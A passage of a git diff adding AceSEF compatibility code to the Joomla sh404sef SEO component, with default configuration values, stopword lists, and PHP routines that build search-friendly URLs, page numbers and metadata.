z|z, ?|-, ß|ss, A|A, µ|u, A|A, µ|u, a|a, A|A, e|e, E|E, s|s, S|S, z|z, Z|Z, z|z, Z|Z, c|c, C|C, l|l, L|L, ó|o, Ó|O, n|n, N|N, ?|B, ?|b, ?|V, ?|v, ?|G, ?|g, ?|D, ?|d, ?|Zh, ?|zh, ?|Z, ?|z, ?|I, ?|i, ?|Y, ?|y, ?|K, ?|k, ?|L, ?|l, ?|m, ?|N, ?|n, ?|P, ?|p, ?|t, ?|U, ?|u, ?|F, ?|f, ?|Ch, ?|ch, ?|Ts, ?|ts, ?|Ch, ?|ch, ?|Sh, ?|sh, ?|Sch, ?|sch, ?|I, ?|i, ?|E, ?|e, ?|U, ?|iu, ?|Ya, ?|ya, S|S, I|I, G|G, s|s, g|g, i|i, $|S, ¥|Y, £|L, ù|u, °|o, º|o, ª|a'; + $config->redirect_to_www = '0'; + $config->redirect_to_sef = '1'; + $config->redirect_to_sef_gen = '0'; + $config->jsef_to_acesef = '1'; + $config->force_ssl = '[]'; + $config->url_append_limit = '0'; + $config->meta_core = '1'; + $config->meta_title = '1'; + $config->meta_title_tag = '1'; + $config->meta_desc = '1'; + $config->meta_key = '1'; + $config->meta_generator = ''; + $config->meta_generator_rem = '1'; + $config->meta_abstract = ''; + $config->meta_revisit = ''; + $config->meta_direction = ''; + $config->meta_googlekey = ''; + $config->meta_livekey = ''; + $config->meta_yahookey = ''; + $config->meta_alexa = ''; + $config->meta_name_1 = ''; + $config->meta_name_2 = ''; + $config->meta_name_3 = ''; + $config->meta_con_1 = ''; + $config->meta_con_2 = ''; + $config->meta_con_3 = ''; + $config->meta_t_seperator = '-'; + $config->meta_t_sitename = ''; + $config->meta_t_usesitename = '1'; + $config->meta_t_prefix = ''; + $config->meta_t_suffix = ''; + $config->meta_key_blacklist = 'a, able, about, above, abroad, according, accordingly, across, actually, adj, after, afterwards, again, against, ago, ahead, ain\'t, all, allow, allows, almost, alone, along, alongside, already, also, although, always, am, amid, amidst, among, amongst, an, and, another, any, anybody, anyhow, anyone, anything, anyway, anyways, anywhere, apart, appear, appreciate, appropriate, are, aren\'t, around, as, a\'s, aside, ask, asking, associated, at, available, away, awfully, b, back, backward, backwards, be, became, because, become, becomes, becoming, been, before, beforehand, begin, behind, being, believe, below, beside, besides, best, better, between, beyond, both, brief, but, by, c, came, can, cannot, cant, can\'t, caption, cause, causes, certain, certainly, changes, clearly, c\'mon, co, co., com, come, comes, concerning, consequently, consider, considering, contain, containing, contains, corresponding, could, couldn\'t, course, c\'s, currently, d, dare, daren\'t, definitely, described, despite, did, didn\'t, different, directly, do, does, doesn\'t, doing, done, don\'t, down, downwards, during, e, each, edu, eg, eight, eighty, either, else, elsewhere, end, ending, enough, entirely, especially, et, etc, even, ever, evermore, every, everybody, everyone, everything, everywhere, ex, exactly, example, except, f, fairly, far, farther, few, fewer, fifth, first, five, followed, following, follows, for, forever, former, formerly, forth, forward, found, four, from, further, furthermore, g, get, gets, getting, given, gives, go, goes, going, gone, got, gotten, greetings, h, had, hadn\'t, half, happens, hardly, has, hasn\'t, have, haven\'t, having, he, he\'d, he\'ll, hello, help, , hence, her, here, hereafter, hereby, herein, here\'s, hereupon, hers, herself, he\'s, hi, him, himself, his, hither, hopefully, how, howbeit, however, hundred, i, i\'d, ie, if, ignored, i\'ll, i\'m, immediate, in, inasmuch, inc, inc., indeed, indicate, indicated, indicates, inner, inside, insofar, instead, into, inward, is, isn\'t, it, it\'d, it\'ll, its, it\'s, itself, i\'ve, j, just, k, keep, keeps, kept, know, known, knows, l, last, lately, later, latter, latterly, least, less, lest, let, let\'s, like, liked, likely, likewise, little, look, looking, looks, low, lower, ltd, m, made, mainly, make, makes, many, may, maybe, mayn\'t, me, mean, meantime, meanwhile, merely, might, mightn\'t, mine, minus, miss, more, moreover, most, mostly, mr, mrs, much, must, mustn\'t, my, myself, n, name, namely, nd, near, nearly, necessary, need, needn\'t, needs, neither, never, neverf, neverless, nevertheless, new, next, nine, ninety, no, nobody, non, none, nonetheless, noone, no-one, nor, normally, not, nothing, notwithstanding, novel, now, nowhere, o, obviously, of, off, often, oh, ok, okay, old, on, once, one, ones, one\'s, only, onto, opposite, or, other, others, otherwise, ought, oughtn\'t, our, ours, ourselves, out, outside, over, overall, own, p, particular, particularly, past, per, perhaps, placed, please, plus, possible, presumably, probably, provided, provides, q, que, quite, qv, r, rather, rd, re, really, reasonably, recent, recently, regarding, regardless, regards, relatively, respectively, right, round, s, said, same, saw, say, saying, says, second, secondly, , see, seeing, seem, seemed, seeming, seems, seen, self, selves, sensible, sent, serious, seriously, seven, several, shall, shan\'t, she, she\'d, she\'ll, she\'s, should, shouldn\'t, since, six, so, some, somebody, someday, somehow, someone, something, sometime, sometimes, somewhat, somewhere, soon, sorry, specified, specify, specifying, still, sub, such, sup, sure, t, take, taken, taking, tell, tends, th, than, thank, thanks, thanx, that, that\'ll, thats, that\'s, that\'ve, the, their, theirs, them, themselves, then, thence, there, thereafter, thereby, there\'d, therefore, therein, there\'ll, there\'re, theres, there\'s, thereupon, there\'ve, these, they, they\'d, they\'ll, they\'re, they\'ve, thing, things, think, third, thirty, this, thorough, thoroughly, those, though, three, through, throughout, thru, thus, till, to, together, too, took, toward, towards, tried, tries, truly, try, trying, t\'s, twice, two, u, un, under, underneath, undoing, unfortunately, unless, unlike, unlikely, until, unto, up, upon, upwards, us, use, used, useful, uses, using, usually, v, value, various, versus, very, via, viz, vs, w, want, wants, was, wasn\'t, way, we, we\'d, welcome, well, we\'ll, went, were, we\'re, weren\'t, we\'ve, what, whatever, what\'ll, what\'s, what\'ve, when, whence, whenever, where, whereafter, whereas, whereby, wherein, where\'s, whereupon, wherever, whether, which, whichever, while, whilst, whither, who, who\'d, whoever, whole, who\'ll, whom, whomever, who\'s, whose, why, will, willing, wish, with, within, without, wonder, won\'t, would, wouldn\'t, x, y, yes, yet, you, you\'d, you\'ll, your, you\'re, yours, yourself, yourselves, you\'ve, z, zero'; + $config->meta_key_whitelist = ''; + $config->sm_file = 'sitemap'; + $config->sm_xml_date = '1'; + $config->sm_xml_freq = '1'; + $config->sm_xml_prior = '1'; + $config->sm_ping_type = 'link'; + $config->sm_ping = '1'; + $config->sm_yahoo_appid = ''; + $config->sm_ping_services = 'http://blogsearch.google.com/ping/RPC2, http://rpc.pingomatic.com/'; + $config->sm_freq = 'weekly'; + $config->sm_priority = '0.5'; + $config->sm_auto_mode = '1'; + $config->sm_auto_components = '[\"com_content\"]'; + $config->sm_auto_enable_cats = '0'; + $config->sm_auto_filter_s = '.pdf'; + $config->sm_auto_filter_r = 'format=pdf, format=feed, type=rss'; + $config->sm_auto_cron_mode = '0'; + $config->sm_auto_cron_freq = '24'; + $config->sm_auto_cron_last = '1286615325'; + $config->sm_auto_xml = '1'; + $config->sm_auto_ping_c = '0'; + $config->sm_auto_ping_s = '0'; + $config->tags_mode = '1'; + $config->tags_area = '1'; + $config->tags_components = '[\"com_content\"]'; + $config->tags_enable_cats = '0'; + $config->tags_in_cats = '0'; + $config->tags_in_page = '15'; + $config->tags_order = 'ordering'; + $config->tags_position = '2'; + $config->tags_limit = '20'; + $config->tags_show_tag_desc = '0'; + $config->tags_show_prefix = '1'; + $config->tags_show_item_desc = '1'; + $config->tags_exp_item_desc = '0'; + $config->tags_published = '1'; + $config->tags_auto_mode = '0'; + $config->tags_auto_components = '[\"com_content\"]'; + $config->tags_auto_length = '4'; + $config->tags_auto_filter_s = '.pdf'; + $config->tags_auto_filter_r = 'format=pdf, format=feed, type=rss'; + $config->tags_auto_blacklist = 'a, able, about, above, abroad, according, accordingly, across, actually, adj, after, afterwards, again, against, ago, ahead, ain\'t, all, allow, allows, almost, alone, along, alongside, already, also, although, always, am, amid, amidst, among, amongst, an, and, another, any, anybody, anyhow, anyone, anything, anyway, anyways, anywhere, apart, appear, appreciate, appropriate, are, aren\'t, around, as, a\'s, aside, ask, asking, associated, at, available, away, awfully, b, back, backward, backwards, be, became, because, become, becomes, becoming, been, before, beforehand, begin, behind, being, believe, below, beside, besides, best, better, between, beyond, both, brief, but, by, c, came, can, cannot, cant, can\'t, caption, cause, causes, certain, certainly, changes, clearly, c\'mon, co, co., com, come, comes, concerning, consequently, consider, considering, contain, containing, contains, corresponding, could, couldn\'t, course, c\'s, currently, d, dare, daren\'t, definitely, described, despite, did, didn\'t, different, directly, do, does, doesn\'t, doing, done, don\'t, down, downwards, during, e, each, edu, eg, eight, eighty, either, else, elsewhere, end, ending, enough, entirely, especially, et, etc, even, ever, evermore, every, everybody, everyone, everything, everywhere, ex, exactly, example, except, f, fairly, far, farther, few, fewer, fifth, first, five, followed, following, follows, for, forever, former, formerly, forth, forward, found, four, from, further, furthermore, g, get, gets, getting, given, gives, go, goes, going, gone, got, gotten, greetings, h, had, hadn\'t, half, happens, hardly, has, hasn\'t, have, haven\'t, having, he, he\'d, he\'ll, hello, help, , hence, her, here, hereafter, hereby, herein, here\'s, hereupon, hers, herself, he\'s, hi, him, himself, his, hither, hopefully, how, howbeit, however, hundred, i, i\'d, ie, if, ignored, i\'ll, i\'m, immediate, in, inasmuch, inc, inc., indeed, indicate, indicated, indicates, inner, inside, insofar, instead, into, inward, is, isn\'t, it, it\'d, it\'ll, its, it\'s, itself, i\'ve, j, just, k, keep, keeps, kept, know, known, knows, l, last, lately, later, latter, latterly, least, less, lest, let, let\'s, like, liked, likely, likewise, little, look, looking, looks, low, lower, ltd, m, made, mainly, make, makes, many, may, maybe, mayn\'t, me, mean, meantime, meanwhile, merely, might, mightn\'t, mine, minus, miss, more, moreover, most, mostly, mr, mrs, much, must, mustn\'t, my, myself, n, name, namely, nd, near, nearly, necessary, need, needn\'t, needs, neither, never, neverf, neverless, nevertheless, new, next, nine, ninety, no, nobody, non, none, nonetheless, noone, no-one, nor, normally, not, nothing, notwithstanding, novel, now, nowhere, o, obviously, of, off, often, oh, ok, okay, old, on, once, one, ones, one\'s, only, onto, opposite, or, other, others, otherwise, ought, oughtn\'t, our, ours, ourselves, out, outside, over, overall, own, p, particular, particularly, past, per, perhaps, placed, please, plus, possible, presumably, probably, provided, provides, q, que, quite, qv, r, rather, rd, re, really, reasonably, recent, recently, regarding, regardless, regards, relatively, respectively, right, round, s, said, same, saw, say, saying, says, second, secondly, , see, seeing, seem, seemed, seeming, seems, seen, self, selves, sensible, sent, serious, seriously, seven, several, shall, shan\'t, she, she\'d, she\'ll, she\'s, should, shouldn\'t, since, six, so, some, somebody, someday, somehow, someone, something, sometime, sometimes, somewhat, somewhere, soon, sorry, specified, specify, specifying, still, sub, such, sup, sure, t, take, taken, taking, tell, tends, th, than, thank, thanks, thanx, that, that\'ll, thats, that\'s, that\'ve, the, their, theirs, them, themselves, then, thence, there, thereafter, thereby, there\'d, therefore, therein, there\'ll, there\'re, theres, there\'s, thereupon, there\'ve, these, they, they\'d, they\'ll, they\'re, they\'ve, thing, things, think, third, thirty, this, thorough, thoroughly, those, though, three, through, throughout, thru, thus, till, to, together, too, took, toward, towards, tried, tries, truly, try, trying, t\'s, twice, two, u, un, under, underneath, undoing, unfortunately, unless, unlike, unlikely, until, unto, up, upon, upwards, us, use, used, useful, uses, using, usually, v, value, various, versus, very, via, viz, vs, w, want, wants, was, wasn\'t, way, we, we\'d, welcome, well, we\'ll, went, were, we\'re, weren\'t, we\'ve, what, whatever, what\'ll, what\'s, what\'ve, when, whence, whenever, where, whereafter, whereas, whereby, wherein, where\'s, whereupon, wherever, whether, which, whichever, while, whilst, whither, who, who\'d, whoever, whole, who\'ll, whom, whomever, who\'s, whose, why, will, willing, wish, with, within, without, wonder, won\'t, would, wouldn\'t, x, y, yes, yet, you, you\'d, you\'ll, your, you\'re, yours, yourself, yourselves, you\'ve, z, zero'; + $config->ilinks_mode = '1'; + $config->ilinks_area = '1'; + $config->ilinks_components = '[\"com_content\"]'; + $config->ilinks_enable_cats = '0'; + $config->ilinks_in_cats = '0'; + $config->ilinks_case = '1'; + $config->ilinks_published = '1'; + $config->ilinks_nofollow = '0'; + $config->ilinks_blank = '0'; + $config->ilinks_limit = '10'; + $config->bookmarks_mode = '1'; + $config->bookmarks_area = '1'; + $config->bookmarks_components = '[\"com_content\"]'; + $config->bookmarks_enable_cats = '0'; + $config->bookmarks_in_cats = '0'; + $config->bookmarks_twitter = ''; + $config->bookmarks_addthis = ''; + $config->bookmarks_taf = ''; + $config->bookmarks_icons_pos = '2'; + $config->bookmarks_icons_txt = 'Share:'; + $config->bookmarks_icons_line = '35'; + $config->bookmarks_published = '1'; + $config->bookmarks_type = 'icon'; + $config->ui_cpanel = '2'; + $config->ui_sef_language = '0'; + $config->ui_sef_published = '1'; + $config->ui_sef_used = '1'; + $config->ui_sef_locked = '1'; + $config->ui_sef_blocked = '0'; + $config->ui_sef_cached = '1'; + $config->ui_sef_date = '0'; + $config->ui_sef_hits = '1'; + $config->ui_sef_id = '0'; + $config->ui_moved_published = '1'; + $config->ui_moved_hits = '1'; + $config->ui_moved_clicked = '1'; + $config->ui_moved_cached = '1'; + $config->ui_moved_id = '1'; + $config->ui_metadata_keys = '1'; + $config->ui_metadata_published = '1'; + $config->ui_metadata_cached = '1'; + $config->ui_metadata_id = '0'; + $config->ui_sitemap_title = '1'; + $config->ui_sitemap_published = '1'; + $config->ui_sitemap_id = '1'; + $config->ui_sitemap_parent = '1'; + $config->ui_sitemap_order = '1'; + $config->ui_sitemap_date = '1'; + $config->ui_sitemap_frequency = '1'; + $config->ui_sitemap_priority = '1'; + $config->ui_sitemap_cached = '1'; + $config->ui_tags_published = '1'; + $config->ui_tags_ordering = '1'; + $config->ui_tags_cached = '1'; + $config->ui_tags_hits = '1'; + $config->ui_tags_id = '0'; + $config->ui_ilinks_published = '1'; + $config->ui_ilinks_nofollow = '1'; + $config->ui_ilinks_blank = '1'; + $config->ui_ilinks_limit = '1'; + $config->ui_ilinks_cached = '1'; + $config->ui_ilinks_id = '1'; + $config->ui_bookmarks_published = '1'; + $config->ui_bookmarks_id = '1'; + } + + return $config; + } + + function &getCache($lifetime = '315360000') { + + return null; + } + + function getTable($name) { + + return null; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/tables/acesefextensions.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/tables/acesefextensions.php new file mode 100644 index 00000000..216b09e2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/tables/acesefextensions.php @@ -0,0 +1,23 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/uri.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/uri.php new file mode 100644 index 00000000..f7f36864 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/uri.php @@ -0,0 +1,1674 @@ +AcesefConfig = AcesefFactory::getConfig(); + } + + // non-SEF Vars + function nonSefVars(&$uri, $non_sef_vars = null, $non_sef_part = "") { + $ext_non_sef = array(); + $config_non_sef = array(); + + // Load the nonSEF vars from extension parameters + if (!is_null($uri->getVar('option'))) { + $non_sef = $this->attributes->params->get('non_sef_vars', ''); + + if (!empty($non_sef)) { + // Some variables are set, let's explode them + $ext_non_sef = explode(',', $non_sef); + } + } + + // Get globally configured nonSEF vars + if (!empty($this->AcesefConfig->non_sef_vars)) { + $config_non_sef = explode(',', $this->AcesefConfig->non_sef_vars); + } + + // Combine all non-SEF vars arrays + $n_sef_vars = array_merge($ext_non_sef, $config_non_sef); + if (!empty($n_sef_vars)) { + foreach ($n_sef_vars as $n_sef_var) { + $n_sef_var = trim($n_sef_var); + if (strpos($n_sef_var, "=")) { + $var_array = explode("=", $n_sef_var); + if (!isset($non_sef_vars[$var_array[0]]) && !is_null($uri->getVar($var_array[0])) && ($uri->getVar($var_array[0]) == $var_array[1])) { + $non_sef_vars[$var_array[0]] = $var_array[1]; + } + } + // Add each variable, that isn't already set, and that is present in our URL + elseif (!isset($non_sef_vars[$n_sef_var]) && !is_null($uri->getVar($n_sef_var))) { + $non_sef_vars[$n_sef_var] = $uri->getVar($n_sef_var); + } + } + } + + // Option, Itemid, lang filter + $filter = array('option', 'Itemid', 'lang'); + + // non_sef_vars - variables to exclude only if set to in configuration + if ($this->AcesefConfig->append_non_sef && isset($non_sef_vars)) { + foreach ($non_sef_vars as $name => $value) { + // Do not process variables not present in URL + if (is_null($uri->getVar($name))) { + continue; + } + + // Do not process filter + if (in_array($name, $filter)) { + continue; + } + + if (is_array($value)) { + // Variable is an array, let's remove all its occurences + foreach ($value as $key => $val) { + $val = urlencode($val); + if (strlen($non_sef_part) > 0) { + $non_sef_part .= '&'.$name.'['.$key.']='.$val; + } else { + $non_sef_part = '?'.$name.'['.$key.']='.$val; + } + } + } else { + $value = urlencode($value); + if (strlen($non_sef_part) > 0) { + $non_sef_part .= '&'.$name.'='.$value; + } else { + $non_sef_part = '?'.$name.'='.$value; + } + } + $uri->delVar($name); + } + + $app =JFactory::getApplication(); + $global_non_sef = $app->get('acesef.global.nonsefvars'); + if (!empty($global_non_sef)) { + foreach (array_keys($global_non_sef) as $key) { + if (in_array($key, array_keys($non_sef_vars))) { + unset($global_non_sef[$key]); + } + } + //$app->set('acesef.global.nonsefvars', $global_non_sef); + } + } + + return $non_sef_part; + } + + // disable-SEF Vars + function disableSefVars($uri) { + $do_sef = true; + $ext_dis_sef = array(); + $config_dis_sef = array(); + $dis_sef_vars = array(); + + // Load the disable-SEF vars from extension parameters + if (!is_null($uri->getVar('option'))) { + $dis_sef = $this->attributes->params->get('disable_sef_vars', ''); + + if (!empty($dis_sef)) { + // Some variables are set, let's explode them + $ext_dis_sef = explode(',', $dis_sef); + } + } + + // Get globally configured disable-SEF vars + if (!empty($this->AcesefConfig->disable_sef_vars)) { + $config_dis_sef = explode(',', $this->AcesefConfig->disable_sef_vars); + } + + // Combine both disable-SEF vars arrays + $vars = array_merge($ext_dis_sef, $config_dis_sef); + if (!empty($vars)) { + foreach ($vars as $var) { + $var = trim($var); + // Check var=value + if (strpos($var, "=")) { + $var_array = explode("=", $var); + if (!is_null($uri->getVar($var_array[0])) && ($uri->getVar($var_array[0]) == $var_array[1])) { + $do_sef = false; + break; + } + } + // Check var + elseif (!is_null($uri->getVar($var))) { + $do_sef = false; + break; + } + } + } + + return $do_sef; + } + + // Skip menu vars + function skipMenuVars($uri) { + $skip_menu = false; + $ext_skip_menu = array(); + $config_skip_menu = array(); + + // Load the skip menu vars from extension parameters + if (!is_null($uri->getVar('option'))) { + $e_skip_menu = $this->attributes->params->get('skip_menu_vars', ''); + + if (!empty($e_skip_menu)) { + // Some variables are set, let's explode them + $ext_skip_menu = explode(',', $e_skip_menu); + } + } + + // Get globally configured skip menu vars + if (!empty($this->AcesefConfig->skip_menu_vars)) { + $config_skip_menu = explode(',', $this->AcesefConfig->skip_menu_vars); + } + + // Combine all skip menu vars arrays + $vars = array_merge($ext_skip_menu, $config_skip_menu); + if (!empty($vars)) { + foreach ($vars as $var) { + $var = trim($var); + // Check var=value + if (strpos($var, "=")) { + $var_array = explode("=", $var); + if (!is_null($uri->getVar($var_array[0])) && ($uri->getVar($var_array[0]) == $var_array[1])) { + $skip_menu = true; + break; + } + } + // Check var + elseif (!is_null($uri->getVar($var))) { + $skip_menu = true; + break; + } + } + } + + return $skip_menu; + } + + // Get page number + function getPageNumber($vars, $ext_params, $item_limitstart = false) { + $mainframe =JFactory::getApplication(); + $option = $vars['option']; + $limitstart = $vars['limitstart']; + $Itemid = ""; + if (!empty($vars['Itemid'])) { + $Itemid = $vars['Itemid']; + } + if (!empty($vars['limit'])) { + $limit = $vars['limit']; + } + + $number = ""; + + if ($item_limitstart == true) { + $limitstart++; + return $limitstart; + } + + // com_content + if ($option == 'com_content') { + if (!empty($vars['view'])) { + $view = $vars['view']; + } + if (!empty($vars['layout'])) { + $layout = $vars['layout']; + } + + $menu_params = AcesefUtility::getMenu()->getParams(intval($Itemid)); + + if (!empty($menu_params)) { + if ((!empty($layout) && $layout == 'blog') || (!empty($view) && $view == 'frontpage')) { + $nm_leading = $menu_params->get('num_leading_articles', 1); + $nm_intro = $menu_params->get('num_intro_articles', 4); + $total_articles = $nm_leading + $nm_intro; + if (!empty($total_articles)) { + $number = $limitstart / $total_articles; + $number++; + + return $number; + } + } + + if (!empty($view) && $view == 'category' && empty($layout)) { + $links_num = $menu_params->get('display_num'); + if (!empty($links_num)) { + $number = $limitstart / $links_num; + $number++; + + return $number; + } + + $state_limit = $mainframe->getUserStateFromRequest('limit', 'limit', $mainframe->getCfg('list_limit'), 'int'); + if (!empty($state_limit)) { + $number = $limitstart / $state_limit; + $number++; + + if ($this->AcesefConfig->url_append_limit == 1) { + $number .= ' '.$state_limit; + } + + return $number; + } + } + } + } + + // com_acesef + if ($option == 'com_acesef') { + if (!empty($vars['view'])) { + $view = $vars['view']; + } + + if (!empty($view)) { + if ($view == 'tags') { + $number = $limitstart / $this->AcesefConfig->tags_limit; + $number++; + + return $number; + } + + $menu_params = AcesefUtility::getMenu()->getParams(intval($Itemid)); + + if ($view == 'sitemap' && !empty($menu_params)) { + $number = $limitstart / $menu_params->get('display_num', 50); + $number++; + + return $number; + } + } + } + + // Empty limit value + if (empty($limit)) { + $limit_num = $ext_params->get('limit_num', ''); + if (!empty($limit_num)) { + $number = $limitstart / $limit_num; + $number++; + + return $number; + } + + $state_limit = $mainframe->getUserStateFromRequest('limit', 'limit', $mainframe->getCfg('list_limit'), 'int'); + if (!empty($state_limit)) { + $number = $limitstart / $state_limit; + $number++; + + if ($this->AcesefConfig->url_append_limit == 1) { + $number .= ' '.$state_limit; + } + + return $number; + } + + $number = $limitstart; + + return $number; + } + + $number = $limitstart / $limit; + $number++; + + if ($option == 'com_virtuemart' && $ext_params->get('vm_drop_down_list', '1') == 2) { + $number .= ' '.$limit; + } + + return $number; + } + + function _isHomePage($uri) { + static $home_query, $home_id; + + $n_uri = clone($uri); + + if (!is_null($n_uri->getVar('option'))) { + self::fixUriVar($n_uri, 'id'); + self::fixUriVar($n_uri, 'catid'); + } + + if (!isset($home_query)) { + $menu =& AcesefUtility::getMenu(); + $item =& $menu->getDefault(); + if (!is_object($item)) { + return false; + } + $home_query = $item->query; + $home_id = $item->id; + } + + $query = $n_uri->_vars; + + if (!isset($query['option'])) { + return false; + } + + if (isset($query['Itemid'])) { + if($query['Itemid'] != $home_id) { + return false; + } + + unset($query['Itemid']); + } + elseif (($query['option'] == 'com_content') && isset($query['view']) && ($query['view'] == 'frontpage')) { + return false; + } + + if (isset($query['lang'])) { + unset($query['lang']); + } + + // Compare queries + $cmp = array_diff($query, $home_query); + if (count($cmp) > 0) { + return false; + } + + $cmp = array_diff($home_query, $query); + if (count($cmp) > 0) { + return false; + } + + return true; + } + + function getDomain() { + static $domain; + + if (!isset($domain)) { + // Get domain + $domain = JURI::root(); + + // Adjust domain according to www redirection + if (($this->AcesefConfig->redirect_to_www == 1) && (strpos($domain, '://www.') === false)) { + $domain = str_replace('://', '://www.', $domain); + } elseif ($this->AcesefConfig->redirect_to_www == 2) { + $domain = str_replace('://www.', '://', $domain); + } + + // Add slash after domain + if(substr($domain, -1) != '/') { + $domain .= '/'; + } + } + + return $domain; + } + + // thanks to Nicholas K. Dionysopoulos, akeebabackup.com + function findItemid($vars = array(), $params = null) { + if (empty($vars) || !is_array($vars)) { + $vars = array(); + } + + $menus =& AcesefUtility::getMenu(); + $menuitem =& $menus->getActive(); + + // First check the current menu item (fastest shortcut!) + if (is_object($menuitem)) { + if (self::_checkMenu($menuitem, $vars, $params)) { + return $menuitem; + } + } + + $items = $menus->getMenu(); + if (empty($items)) { + return null; + } + + foreach ($items as $item) { + if ($item->published) { + if (self::_checkMenu($item, $vars, $params)) { + return $item; + } + } + } + + return null; + } + + function _checkMenu($menu, $vars, $params = null) { + $query = $menu->query; + + foreach ($vars as $key => $value) { + if (is_null($value)) { + continue; + } + + if (!isset($query[$key])) { + return false; + } + + if ($query[$key] != $value) { + return false; + } + } + + if (!is_null($params)) { + $menus =& AcesefUtility::getMenu(); + $check = $menu->params instanceof JParameter ? $menu->params : $menus->getParams($menu->id); + + foreach ($params as $key => $value) { + if (is_null($value)) { + continue; + } + + if ($check->get($key) != $value) { + return false; + } + } + } + + return true; + } + + function _checkDB(&$uri, $prev_lang) { + $real_url = AcesefURI::sortURItoString($uri); + $url_found = AcesefCache::checkURL($real_url); + if (is_object($url_found)) { + // Check if it is blocked + if (AcesefUtility::getParam($url_found->params, 'blocked') == '1') { + $route = $real_url; + } else { + $route = $url_found->url_sef; + } + + $uri = self::_finalizeURI($uri, $route); + + self::restoreLang($prev_lang); + + return true; + } + + return false; + } + + function _finalizeURI($uri, $route) { + // Prepare non-SEF part + if (($this->attributes->non_sef_part != '') && (strstr($route, '?'))) { + $this->attributes->non_sef_part = str_replace('?', '&', $this->attributes->non_sef_part); + } + + // Get domain + $url = self::getDomain(); + + // Add non-SEF vars + if ($this->AcesefConfig->append_non_sef == 1) { + $url .= $route.$this->attributes->non_sef_part; + } else { + $url .= $route; + } + + // Add fragment + $fragment = $uri->getFragment(); + if (!empty($fragment)) { + $url .= '#'.$fragment; + } + + // Finally return new URI + return new JURI($url); + } + + function _finalizeSEF($uri, $sef_url, $real_url, $component, $lang_code) { + // Add menu title + $skip_menu = $this->attributes->params->get('skip_menu', '0'); + if (!AcesefExtension::skipMenu('', true) && + !self::skipMenuVars($uri) && + !self::_isHomePage($uri) && + ($skip_menu == 0 || ($skip_menu == 1 && $sef_url == '')) + ) { + $menu_title = array(); + $prefix = $this->attributes->params->get('prefix', ''); + if (!empty($prefix)) { + $menu_title[] = $prefix; + } else { + $menu_start_level = $this->attributes->params->get('menu_start_level', '0'); + $menu_length_level = $this->attributes->params->get('menu_length_level', '0'); + $menu_title = AcesefUtility::getMenuTitle(intval($uri->getVar('Itemid')), $menu_start_level, $menu_length_level); + } + + if (!empty($menu_title)) { + $menu_url = implode('/', $menu_title); + + $sef_url = ltrim($sef_url, '/'); + if (empty($sef_url)) { + $sef_url = $menu_url; + } else { + $sef_url = $menu_url.'/'.$sef_url; + } + } + } + + // Add lang code + if ($lang_code != ""){ + $sef_url = ltrim($sef_url, '/'); + $sef_url = $lang_code.'/'.$sef_url; + } + + // Append menu ItemID + if ($this->AcesefConfig->append_itemid == 1 && !is_null($uri->getVar('Itemid'))) { + $sef_url = rtrim($sef_url, '/'); + $sef_url .= "/ItemID ".intval($uri->getVar('Itemid')); + } + + // Generate pagination + if (!is_null($uri->getVar('limitstart'))) { + $page_nr = self::getPageNumber($uri->_vars, $this->attributes->params, $this->attributes->item_limitstart); + $page_str = JText::_('PAGE').' '.$page_nr; + $sef_url = rtrim($sef_url, '/'); + $sef_url .= '/'.$page_str; + } + + // Make some cleanup + $sef_url = self::_cleanupSefUrl($sef_url); + + // Check if the suffix is set and make some optimization + if (strpos($sef_url, '.') === false && $sef_url != '/' && substr($sef_url, strlen($sef_url)-1, 1) != '/') { + if ($sef_url != '') { + $sef_url .= $this->AcesefConfig->url_suffix; + } + $sef_url = str_replace('/.', '.', $sef_url); + $sef_url = str_replace('-.', '.', $sef_url); + $sef_url = str_replace('/pdf'.$this->AcesefConfig->url_suffix, '.pdf', $sef_url); + } + + // Lowercase URLs + if ($this->AcesefConfig->url_lowercase == 1) { + $sef_url = JString::strtolower($sef_url); + } + + // Remove front slash + $sef_url = ltrim($sef_url, '/'); + + // Remove the trailing slash + if (!empty($sef_url) && $this->AcesefConfig->remove_trailing_slash == 1) { + $sef_url = rtrim($sef_url, '/'); + } + + // Manage Duplicate URLs + if (AcesefUtility::getConfigState($this->attributes->params, 'numeral_duplicated')) { + $sef_url = self::_numeralDuplicated($sef_url, $real_url); + } + + // Save the generated SEF URL + if ($real_url != "" && ($sef_url != "" || ($sef_url == "" && self::_isHomePage($uri)))) { + // URL + if (AcesefUtility::getConfigState($this->attributes->params, 'record_duplicated')) { + self::_saveRecord($real_url, $sef_url, $component); + } else { + $db_url_sef = AcesefCache::checkURL($sef_url, true); + if (!is_object($db_url_sef)) { + self::_saveRecord($real_url, $sef_url, $component); + } + } + + // Metadata + $metadata = $this->attributes->meta; + if ($this->AcesefConfig->meta_core == 1 && is_array($metadata) && count($metadata) > 0) { + AcesefMetadata::autoMetadata($sef_url, $metadata); + } + + // Sitemap + if ($this->AcesefConfig->sm_auto_mode == 1 && class_exists('AcesefSitemap')) { + AcesefSitemap::autoSitemap($component, $this->attributes->params, $sef_url, $real_url); + } + + // Tags + if ($this->AcesefConfig->tags_auto_mode == 1 && is_array($metadata) && !empty($metadata['keywords']) && class_exists('AcesefTags')) { + AcesefTags::autoTags($metadata['keywords'], $component, $this->attributes->params, $sef_url, $real_url); + } + } + + return $sef_url; + } + + // Cleanup SEF URL + function _cleanupSefUrl($sef_url) { + // Remove the white spaces + $sef_url = preg_replace('/\s\s+/', ' ', $sef_url); + + // Remove some unwanted chars + $replace = array("\"", "\\", "'", "`", "´", "‘", "’", "“", "”", "<", ">", "«", "»", "¿", "•", "®", "™", "„", "\\"); + foreach ($replace as $value) { + if ($value != "") { + $sef_url = str_replace($value, "", $sef_url); + } + } + + // Strip characters + if ($this->AcesefConfig->url_strip_chars != "") { + $len = strlen($this->AcesefConfig->url_strip_chars); + for ($i=0; $i < $len; $i++) { + 